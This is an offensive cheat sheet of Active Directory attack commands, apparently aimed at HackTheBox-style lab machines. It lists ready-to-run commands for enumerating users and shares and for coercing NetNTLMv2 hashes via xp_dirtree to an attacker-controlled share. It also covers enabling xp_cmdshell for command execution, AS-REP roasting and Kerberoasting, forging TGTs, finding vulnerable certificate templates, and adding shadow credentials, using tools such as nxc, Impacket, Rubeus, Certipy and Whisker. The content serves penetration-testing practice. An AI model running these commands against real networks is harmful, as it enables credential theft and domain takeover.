CheatSheet - Active Directory Attacks

---

User Enumeration

nxc smb 10.10.10.10 -u user -p password --users
nxc smb 10.10.10.10 -u user -p password --rid-brute

rpcclient $> enumdomusers

SMB

Smb authentication.

nxc smb 10.10.10.10 -u user -p password

List shares

nxc smb 10.10.10.10 -u user -p password --shares -M spider_plus

smbclient -L 10.10.10.10 -U user -N

LDAP

Anonymous login

ldapsearch -H 'ldap://htb.local/' -x -b "dc=htb,dc=local" '(objectClass=person)'

Creds

ldapsearch -x -H ldap://cicada.htb -D user@cicada.htb -w 'password' -b "DC=cicada,DC=htb"

MSSQL

XP_DIRTREE

List a directory with xp_dirtree.

exec master.sys.xp_dirtree 'c:\', 1, 1;

Get NetNTMLv2 hash

xp_dirtree \\10.10.10.10\share

Command execution

Check admin privileges: 1=true=admin.

SELECT is_srvrolemember('sysadmin');

Enable xp_cmdshell manually.

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Impacket auto-enable.

enable_xp_cmdshell

Executing commands.

xp_cmdshell "whoami"

nxc mssql manager.htb -u operator -p operator -x whoami

nxc mssql domain.local -u user -p pass -q 'SELECT name FROM master.dbo.sysdatabases;'

Attacking Kerberos

AS-Rep Roasting

nxc ldap 10.10.10.161 -u '' -p ''  --asreproast hashes.txt

GetNPUsers.py 'htb.local/' -usersfile users.txt -no-pass -dc-ip 10.10.10.161

rubeus.exe asreproast /format:hashcat /nowrap

Kerberoasting

GetUserSPNs.py -request -dc-ip 10.10.10.10 'DOMAIN/user:password' -outputfile hashes.txt

nxc ldap 10.10.10.10. -u user -p password --kerberoasting hashes.txt

rubeus.exe kerberoast /nowrap

Pass The Ticket

Generating TGTs

getTGT.py 'domain.local/user' -dc-ip 10.10.11.45 -p 'password'

nxc smb domain -u user -p password --generate-tgt user

AD CS

AD CS - Privilege-Escalation

certipy find -vulnerable -u user -p password -dc-ip 10.10.11.72 -stdout

certify.exe find /vulnerable

nxc ldap 10.10.10.10 -u user -p pass -M adcs

Shadow Credentials

Windows

Whisker.exe add /target:sflowers /password:siriussirius /path:cert.pfx

Rubeus.exe asktgt /user:sflowers /certificate:cert.pfx /password:"siriussirius" /domain:domain.local /dc:DC.domain.local /getcredentials /show

Linux

certipy shadow auto -account {target_user} -u 'user@domain.local' -p 'password' -dc-ip 10.129.135.59

bloodyAD --host domain.local -d domain.local -u user -p password add shadowCredentials {target_user}

Delegation

Constrained Delegation

Unconstrained Delegation

Resource Based Constrained Delegation

References

https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation